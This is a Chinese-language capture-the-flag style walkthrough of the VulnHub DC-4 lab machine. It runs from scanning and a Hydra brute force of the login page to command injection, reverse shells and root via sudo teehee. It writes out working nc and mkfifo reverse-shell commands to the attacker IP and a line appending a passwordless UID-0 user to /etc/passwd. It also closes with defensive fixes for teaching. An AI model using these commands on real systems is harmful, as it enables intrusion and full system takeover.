1. 动手之前：环境、目标与整体思路
1.1 靶场怎么搭、Kali怎么配
把DC4这台机器从头到尾打一遍，是我最近一次比较解压的靶机练习。DC系列在VulnHub上出了非常多台，DC4属于中间难度偏温和的一台，不需要反编译、不需要二进制漏洞，靠的是信息收集、弱口令爆破、命令注入和Linux提权这几板斧。想找一台能完整走完“外网打点、反弹Shell、提权、拿flag”全链路的目标，DC4是我个人很推荐起步的一台。本文把我四种工具、三条思路、两次翻车的全过程记下来，适合刚学渗透测试、对提权链路还不太熟的同学照抄，也适合刷完DC1到DC3后想巩固基础的人。整篇记录的每一步操作，都在VulnHub提供的本地靶场环境中完成，不涉及任何真实系统。
DC4本质上是一个封装好的虚拟机镜像。我把它下载下来之后，直接用VMware导入OVA文件就行，VirtualBox也支持，两种虚拟化平台都有人用。网络模式我建议用NAT或者仅主机模式，这样靶机和Kali攻击机在一个隔离的局域网里，不会波及真实网络，也能保证扫描结果干净可复现。靶机默认是不给IP的，需要自己找。启动后用arp-scan -l扫一下局域网，很快能看到多出来的那台机器，记下它的IP。我的环境里靶机地址是192.168.56.108，攻击机Kali是192.168.56.102，后面所有命令都基于这两个地址来写。
如果你刚开始练DC系列，我建议不要跳着打，能把DC1到DC4按顺序走一遍最好。DC1让你理解CMS漏洞和Linux提权的基本链路，DC2把WordPress利用和数据提取揉在一起，DC3涉及一些进程分析和漏洞利用的思维，DC4则回归到非常“真实外网”的风格——弱口令、命令注入、sudo滥用提权。整台机器没有任何高难度的逆向或堆利用，只要信息收集做得仔细，每个环节都有明确提示，属于“卡住你只是因为不够细心”的类型。
1.2 开局之前先定步骤，不打无准备的仗
打靶机和做项目一样，最忌讳上来就乱敲命令。我习惯把一次完整的通关拆成四个阶段：信息收集、入口突破、权限提升、审计复盘。每个阶段设置一个明确目标，比如信息收集阶段的目标是“确认开放端口、服务版本、Web页面上所有可用功能点”，没达到这个目标就不会进入下一步。入口突破阶段的目标是“拿到第一个远程Shell或者系统用户权限”，否则继续回到信息收集找漏。这样的好处是，卡住时你能快速定位是哪个阶段出了问题，而不是情绪化地乱扫一通。
很多新手打DC4卡住，就是因为低估了信息收集的分量，一看到登录框就想着爆破。其实这个登录框只是第一道门，登录之后还有一个命令执行的功能点，那才是真正打通权限的地方。如果不在前期把页面结构、功能参数、服务指纹都摸清楚，后续很容易走进死角。所以我在下面的记录里，会特意把每一步“为什么此时需要做这个操作”讲明白，而不只是丢一串命令。
2. 信息收集：端口、目录和登录框暴露的东西
2.1 端口扫描与版本识别，先建立“攻击面清单”
信息收集的第一件事是用Nmap做端口和服务识别。我通常的扫描命令是：
nmap -sV -sC -O -p- 192.168.56.108-sV探测服务版本，-sC调用默认脚本，-O做系统识别，-p-扫全端口。DC4的响应很快，我在实际环境里看到的结果是22端口SSH和80端口HTTP，系统指纹显示是Debian系的Linux。这里要记住一个细节：看到80端口不要急着只扫Web，同时把SSH的版本记下来，因为既然SSH开了，就代表后续如果能拿到账号密码，还有一个更稳定的远程登录通道。
我见过有人扫完端口后，只盯Web不管SSH，结果在Web页面上绕了半天提不了权。其实在授权的真实环境或靶机练习里，SSH端口的存在通常意味着“当你拿到某个用户凭据时，可以直接用它登录系统，省去维护反弹Shell的麻烦”。所以在笔记里我会单独写一行：22端口是后续维持优先通道，80端口是前期主要入口。
2.2 目录枚举：登录页和背后的功能点都要挖出来
拿到80端口后，我习惯先用Gobuster或Dirb做目录枚举，看看Web服务的路由结构。命令可以是这样：
gobuster dir -u http://192.168.56.108 -w /usr/share/wordlists/dirb/common.txt -t 50我实际跑出来的结果是/css、/images、/index.php、/login.php这些常规路径。登录页在很多靶机里只是个跳板，更重要的是找到登录后跳转到的功能页面，尤其是带有参数、表单、上传点的地方。DC4的特别之处在于，登录后有一个命令相关的功能区域，这个才是命令注入的入口。所以目录枚举不只是找隐藏接口，更是为了在登录后快速定位“哪些页面可能接受用户输入”。
这里有个实操心得：如果目录枚举没看到明显异常，别急着加大字典，先去登录页看看它的HTML源码和Cookie逻辑。有些靶机把功能点藏在登录跳转后才生成的路径里，目录扫描在未登录状态是扫不到的。你可以先把登录页源码存下来，等后面拿到后台权限后再重新跑一次带Cookie的目录扫描，两轮结果对比往往会有惊喜。DC4这里我用第一轮扫描就看到了登录页，但真正能执行命令的页面是在登录之后浏览到的，所以单纯依靠扫描目录会漏掉关键信息。
2.3 登录框先试探状态，别上来就上Hydra
面对登录框，我的选择顺序是：先看能否注册、能否重置密码、是否有SQL注入、再考虑暴力破解。DC4的登录页我试探下来没有明显的SQL注入特征，也没有注册入口，所以暴力破解成了合理选择。但这里有个原则问题值得强调：暴力破解应该在目标本身允许低强度密码策略的前提下才值得尝试。靶机里设置弱口令是刻意为之，是为了模拟真实外网中“账号密码过于简单”的漏洞，而在真实环境中，无休止的高线程爆破很容易触发封禁或引发告警，所以一定要控节奏、看响应。
我测试时有意识地去看了登录失败的返回提示，比如错误的密码会显示“Invalid password”还是“User not found”，这对后面Hydra的“失败条件”参数非常关键。DC4返回的是比较明确的失败提示，这就给自动化爆破提供了很好的判定依据。记住这个思路：先手工提交两次，把成功和失败两种响应的差异看清楚，再上工具，而不是拿工具盲目怼。
3. 入口实操：从Hydra爆出的后台到命令注入
3.1 Hydra爆破参数解析，照着抄也能跑通
在这一步，我使用的命令大致是这样的：
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.108 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid password" -t 16简单拆一下：-l admin指定登录名，-P指定密码字典，这里用的是Kali自带的rockyou.txt；http-post-form告诉Hydra这是一个通过POST提交表单的登录接口；中间的字符串分三段，第一段是提交路径，第二段是POST体中的参数，用^USER^和^PASS^做替换占位，第三段是判定登录失败的标记。-t 16控制并发线程，不要太贪心，16到32之间比较稳妥。
在实际情况里，我一开始把参数名写错了，写成email=^USER^&pass=^PASS^，结果跑了几分钟全是错误判断。后来重新抓包核对，发现表单里真实的字段名是username和password。这个坑值得所有新手注意：POST体里的参数名必须以抓包结果为准，不能用肉眼猜。换上正确的参数名后，爆破速度很快，十几个线程跑了一阵子就出了结果：admin/happy。密码弱到这个程度，不爆破出来反而奇怪。
3.2 登录后的命令执行点：注入的三种常见姿势
登录进去之后，页面上有一个看起来没什么攻击性的功能，本质上会把我输入的内容传递给底层系统命令来执行。这种场景在真实系统里太常见了，比如Web后台提供一个“测试网络连通性”的面板，传一个IP给ping命令，或者提供“进程状态查询”把关键词拼接到ps里。遇到这种功能，第一反应就应该是：参数能不能逃逸出去执行其他命令。
我一般会在输入框里先做三个测试：输入一个正常参数看回显；输入分号加命令看是否执行第二条；输入管道符加命令看能否把输出重定向。用; whoami或者| whoami这类简单无害的命令做验证，比直接上反弹Shell要理性得多。如果回显里出现了www-data，说明命令注入是真实存在的。实测下来DC4对分号和管道符的过滤非常有限，这是典型的未做输入白名单校验的漏洞，防御上应该使用白名单正则来限制可接受的字符集合，而不是简单地屏蔽几个特殊符号。
有个容易忽略的细节：命令注入有时会不回显，这是因为它把输出丢弃了或者命令拼接的方式导致结果没显示在页面上。这种情况需要让命令结果“带出去”，常见办法是用curl把结果传到你的监听器，或者通过SSH/SCP传参。但DC4的回显是正常的，所以我直接使用带外注入中最简单的反弹Shell来打通通道。合理利用回显可以大幅降低排错成本，这也是为什么我一直强调先手动验证再自动化利用。
3.3 反弹Shell的两三套写法，以及为什么要切换交互式
确认命令注入后，我在自己的Kali上先起了一个监听：
nc -lvnp 4444然后在靶机的注入点里执行反弹命令。如果目标环境的nc支持-e参数，写法最直接：
; nc -e /bin/bash 192.168.56.102 4444如果不支持-e，可以用流量转发的方式：
; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.102 4444 > /tmp/f这条命令的本质是利用命名管道做数据桥接，把Shell的标准输入输出重定向到网络socket上，属于在没有-e参数时的标准替代方案。如果你在授权的测试环境里遇到目标没有nc，还可以尝试Python反弹Shell或Perl反弹Shell，但靶机环境一般用不到。
监听机器上收到Shell后，我第一时间做两件事：一条whoami确认当前权限是www-data，一条python3 -c 'import pty; pty.spawn("/bin/bash")'把Shell升级成交互式Shell。升级交互式的目的是一会儿要在里面翻目录、读文件、跑sudo命令，没有完整的终端交互能力，各种操作都会遇到莫名其妙的卡顿和行编辑问题。如果你也遇到这种远程Shell按方向键出现^[[A的尴尬，说明你没有做PTY升级。
3.4 初始权限下的信息翻找，别急着找内核漏洞
拿到www-data权限后，我开始在系统里翻信息。很多人到这里会直接掏出内核提权漏洞去打，这是个大误区。DC4这类靶机设计的提权路径几乎都在配置问题上，内核漏洞既不稳定也不在出题人的预期里。我翻的顺序是：Web配置目录、站点源码、home目录列表、系统用户列表。先把这些“明面上的线索”看完，再考虑动态分析。
在翻的过程中，我看到了/home下面有普通用户的存在，通常是jim。继续往jim的家目录看，会找到一些与密码相关的文件或备份，比如历史命令记录、旧密码备份文件。这些文件往往就是出题人故意留下的提示。这里有个经验：普通文件权限下能读到的敏感信息往往比想象中多，尤其/home目录默认没有严格限制读取权限时，一个Web进程权限就能把它翻个底朝天。生产环境里应当时刻记住：家目录权限和敏感文件的ACL要收紧，不该让www-data用户扫得到。
4. 横向与提权：从普通文件到root权限
4.1 在家目录和邮件里挖出jim的SSH密码
顺着/home/jim翻下去，我找到了一些密码相关的内容。在我刷的这台环境里，里面有一份旧密码记录和邮件提醒，梳理之后得到一组关键凭据：jim/juliet。需要说明的是，不同版本的DC4可能在密码提示的细节上略有不同，但思路是一致的——找与jim相关的密码文件，厘清哪个密码对应哪个服务。拿到凭据之后，我直接用SSH登录：
ssh jim@192.168.56.108这里就体现出前期记下SSH端口的好处了。用SSH登录比继续维持反弹Shell要稳定得多，而且后续执行sudo命令、编辑文件都不会动不动断连。如果你在反弹Shell里发现juliet能正常登录，但SSH连不上，优先检查是不是网络模式导致攻击机无法直达靶机的22端口，而不是怀疑密码错了。
有些教程在拿到jim密码后会尝试继续爆破root，或者用su root猜密码，但在DC4里这是一条死路。真正的提权点根本不在密码强度上，而是藏在sudo的授权配置里。所以不要顺着“继续爆破密码”的老思路走，应该去看当前用户在系统里的特权边界。
4.2 sudo -l 看到teehee，提权思路就清晰了
登录到jim后，确认身份的第一条命令就应该是：
sudo -l这条命令会列出当前用户被允许用sudo执行哪些命令，以及是否需要密码。我的输出里有一行关键授权：当前用户可以用root权限运行/usr/bin/teehee，并且不需要密码。坦白说，我第一次看到这个结果也愣了一下，teehee不是一个常见工具，查了才知道它其实是一个文本编辑器/文件追加工具，类似一个轻量级的“写入文件”小工具。
这类工具一旦能被无密码sudo执行，就等同于你拥有了“以任意身份写文件”的能力。你可以脑补一下：如果系统允许某个员工不刷卡就能进入打印室，而这个打印室里有万能钥匙，那这个员工实际上已经拿到了通往所有房间的钥匙。写入文件的能力配合Linux账号体系，就是一条十分经典的提权路线。不要急着去拼内核漏洞，先想想“我能不能用sudo权限改写系统的关键文件”。
作为对比，sudo vim这类编辑器提权你可能也听说过，思路其实一样：编辑器能通过命令行扩展机制执行Shell。这里我们只有一个teehee，所以更直接的做法是用它去改系统认证文件。
4.3 利用teehee写passwd，新增一个特权用户
在利用层面，我选择的方式是向/etc/passwd文件追加一个新用户：
echo 'root2::0:0:root:/root:/bin/bash' | sudo /usr/bin/teehee -a /etc/passwd逐段解释这条命令的含义：echo生成一行符合passwd格式的记录，root2是新用户名，后面的两个冒号之间如果留空就代表口令字段为空，第三个字段的0是UID，也是判断一个用户是否具备root权限的关键，0代表超级用户。/usr/bin/teehee -a表示以追加模式向指定的/etc/passwd文件写入。执行完之后，我可以直接通过su root2切换到新用户，因为它的UID是0，一进系统就是root身份。
有些环境在写空密码的passwd条目后，登录时可能受PAM或passwd文件的认证策略影响，此时可以改用更稳妥的方案：先生成一个加密密码哈希，替换掉root2::0:0中的空口令位置，然后用openssl passwd -1 -salt xyz 你的密码生成一个密码串。不过DC4默认配置下，空的密码字段在su直接切换时是可以用的，我实测下来没有问题。如果你在刷机时发现su root2要求输入密码，十有八九是passwd字段格式出错，重新检查一下你追加的那一行是否符合规范即可。
4.4 切换root2读取flag，整条链路完成
追加完passwd条目后，我执行了：
su root2如果一切正常，命令不会要求输密码，直接进入一个新的Shell。用id确认一下，显示uid=0(root)时就说明已经是root权限了。之后去/root目录里读取flag文件，标志着一整套流程走通。拿到flag代表的是“你把该台靶机的漏洞链路完整利用了”，但这只是练习的终点，不是学习的终点。
我更建议在拿到root之后，再把整条攻击链反向梳理一遍，回答三个问题：入口靠的是什么漏洞？横向移动靠什么信息泄漏？提权靠什么配置缺陷？这三个问题对应的就是密码政策失效、敏感文件权限过大、sudo权限分配不合理。把这三条写成笔记，远比记住一个flag有价值。这也是为什么我一直跟练靶机的新人说，通关之后写复盘，不要忙着打下一台。
5. 通关过程中的常见卡点与自查清单
5.1 Hydra爆破不出结果，先抓包核对表单参数
爆破类问题里，最容易出现的卡点是表单参数名和被判定为失败的关键词不准确。我第一遍刷DC4时把字段名猜错了，跑了挺久都没有结果，后来用浏览器开发者工具抓了一次登录包的POST数据，才看到真实的参数是username和password。所以遇到爆破思路对但不出结果的情况，把抓包结果翻出来逐字段比对，比换更大的字典更有效。另一个容易踩的坑是失败判定词，有些页面在密码错误时返回HTTP 200但页面内容没有明显“Invalid”字样，此时用错误的响应状态码或字符长度来做判定会误伤大量正确密码。
5.2 反弹Shell不稳定，先检查监听与网络模式
反弹Shell频繁断开是靶机练习里的常见体验。如果你遇到连接上就断，或者执行长命令时掉线，优先检查三件事：攻击机和靶机是否真的在同网段、监听地址是否写对了IP、反弹命令里的监听端口是否和nc -lvnp里的端口一致。我通常会在Kali里开两个终端，一个终端固定监听，另一个终端负责测试连接，一旦收到Shell就立刻用python3 -c 'import pty; pty.spawn("/bin/bash")'升交互式，减少后续行编辑问题。如果还是老断，就用SSH登录的方式代替反弹Shell，这也是我刷DC4时最终采用的稳定通道。
5.3 teehee提权失败，大概率是passwd格式写错
用teehee写/etc/passwd提权这步，操作不复杂，但格式必须严谨。passwd文件中每一行的字段顺序是固定的：用户名、密码位、UID、GID、备注、家目录、Shell。任何字段错位都可能导致新用户无法合法登录。我见过有人追加了一行后，执行su root2提示“Permission denied”，检查才发现是因为把UID写成了普通用户值，而不是0。另外，追加内容的末尾要有换行，确保新用户记录独立成行，否则会和上一行内容粘连。如果追加后登录失败，直接读一下/etc/passwd里新加的那一行，对照正常用户的格式检查一遍，基本能定位问题。
5.4 从防守者视角看，这套链路怎么闭环
把DC4的整条链路由攻转防，修复点非常清晰。第一，登录后台的密码策略必须强硬执行，禁止弱口令和重复口令；第二，命令执行的输入要做白名单校验，从协议上限制只能传入IP、域名等固定格式，而不是过滤几个特殊符号就完事；第三，系统敏感文件如/etc/passwd的ACL权限不能对普通用户开放写权限，同时sudo的规则要遵循最小权限原则，teehee这类可写文件的工具尽量不要无密码授权给普通用户；第四，日志审计要足够敏感，/etc/passwd突然新增UID为0的用户是非常强的入侵信号，应当在检测规则里内置告警。能把这四点讲清楚，说明你不是在背题，而是真的理解了这套攻击链。
我在实际练习里最大的体会是，DC4的难度其实不在某个漏洞利用的复杂度，而在于解题人对“信息收集”是否足够耐心。所有关键线索都摆在明面上，只要按照端口扫描、目录枚举、登录后台、命令注入、翻找凭据、sudo审计这条路径老老实实走下去，通关是必然结果。相反，如果一开始就急着找高分利用，跳过登录页分析，反而会在半路迷失方向。
最后顺手分享一个小习惯：我每次打完靶机，都会把本机的命令历史整理成一份带注释的笔记，标注哪些命令是成功的、哪些是排错过程、哪个知识点可以在真实防御里复用。这样下一次遇到Web命令注入或者sudo配置脆弱点时，我就有了一份属于自己的查表。你也试试看，刷完DC4后再回头整理一遍，收获会比单纯记flag大很多。
